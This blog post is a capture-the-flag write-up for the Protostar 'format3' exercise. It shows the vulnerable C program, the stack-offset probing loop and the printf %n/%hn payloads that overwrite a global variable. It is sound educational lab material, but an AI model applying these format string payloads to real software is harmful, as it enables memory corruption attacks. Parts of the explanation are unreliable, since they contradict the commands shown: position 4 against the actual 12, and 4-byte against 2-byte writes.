Protostar exploits format3

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/format3
test
test
target is 00000000 :(

Exploit

Program should print the message “you have modified the target :)”.

This challenge is very similar to the previous challenge in that we need to use the format string vulnerability on the printf(string) call and use the $n modifier to overwrite the contents of ‘target’.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
 printf(string);
}

void vuln()
{
 char buffer[512];

 fgets(buffer, sizeof(buffer), stdin);

 printbuffer(buffer);
 
 if(target == 0x01025544) {
 printf("you have modified the target :)\n");
 } else {
 printf("target is %08x :(\n", target);
 }
}

int main(int argc, char **argv)
{
 vuln();
}

If we can assign the ‘target’ variable the hex value 0x01025544 then the message should be printed.

Again we will use objdump -t option. This command will print the the binary’s symbol table. The symbol we want is the reference to the ‘target’ variable and it’s memory location.

user@protostar:~$ objdump -t /opt/protostar/bin/format3|grep target
080496f4 g     O .bss 00000004              target

There we have it, ‘target’ should be located at memory address 0x080496f4.

Now we need to construct the exploit format string payload.

First step is to figure out which position on the stack is the ‘string’ variable is stored.

user@protostar:~$ for i in {1..254}; do echo -e "AAAA%$i\$p-$i" |/opt/protostar/bin/format3;done |grep 0x41414141
AAAA0x41414141-12

I iterated from 1-254 to find the first part of the string of AAAA and it showed up at 12th position.

I tried to confirm this once more.

user@protostar:~$ /opt/protostar/bin/format3
AAAA%12$p   
AAAA0x41414141
target is 00000000 :(

Definitely the 4th position.

The payload so far

AAAA%4$p

AAAA = start of the string parameter

%4 = Position on the stack that the ‘string’ (AAAA) variable is stored.

$p = This will print out the contents of the memory location at stack position 4.

All we need to do now is replace the AAAAs with the memory location of ‘target’ in reverse byte order and use the %n modifier to write to a memory location instead of printing the contents of the stack position. Something like \xf4\x96\x04\x08%4$n

\xf4\x96\x04\x08 = ‘target’ memory location in reverse byte order

%4 = Position on the stack that the ‘buffer’ (\xf4\x96\x04\x08 ) variable is stored.

$n = Write the string length (4 ‘\xf4\x96\x04\x08’) to the destination address specified by the stack position modifier %4

user@protostar:~$ echo -e "\xf4\x96\x04\x08%12\$n" |/opt/protostar/bin/format3
??
target is 00000004 :(

The program nicely confirms that ‘target’ variable contains the integer 4.

If the value 4 (because 4 bytes used for the string “\xf4\x96\x04\x08%4\”) is saved to the location specified by 0x080496f4 then how do we increase this value? Format strings allow you to increase the width/size of the string created (same technique used in format2 challenge) by specifying an unsigned integer %(int)u and this size value will be stored at the address of ‘target’. However this time we will use a slightly different approach to help save the value 0x01025544 =  16930116(d), we are going to split the memory writes into two parts by writing over 4 bytes of ‘target’ at a time. First we will write 0x0102 = 258(d) to the second two bytes at address  0x080496f6 and then 0x5544 = 21828(d) to memory location 0x080496f4 two bytes before. 0x5544 0x0102 reverse byte order.

Updated payload \xf4\x96\x04\x08\xf6\x96\x04\x08%250u%13$hn%21570u%12$hn

\xf4\x96\x04\x08 = ‘target’ memory location in reverse byte order

\xf6\x96\x04\x08 = two bytes into ‘target’ memory location in reverse byte order

%250u = This is an additional 250 bytes to append to the previous 8 bytes (\xf4\x96\x04\x08\xf6\x96\x04\x08) giving the string a total of 258(d) =  0x0102 bytes.

%13 = Position on the stack that the ‘buffer’ (\xf6\x96\x04\x08 ) variable is stored.

$hn = Write the string length (258 bytes) to the destination address specified by the stack position modifier %13. The extra h to $n means half the size so write to 2 bytes rather than 4 bytes of address.

%21570u = This is an additional 21570 bytes to append to the previous 258 bytes. Total bytes will be 21828(d) = 0x5544.

%12 = Position on the stack that the ‘buffer’ (\xf4\x96\x04\x08 ) variable is stored.

$hn = Write the string length (21828 bytes) to the destination address specified by the stack position modifier %12.

user@protostar:~$ echo -e "\xf4\x96\x04\x08\xf6\x96\x04\x08%250u%13\$hn%21570u%12\$hn" |/opt/protostar/bin/format3
...
you have modified the target :)

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s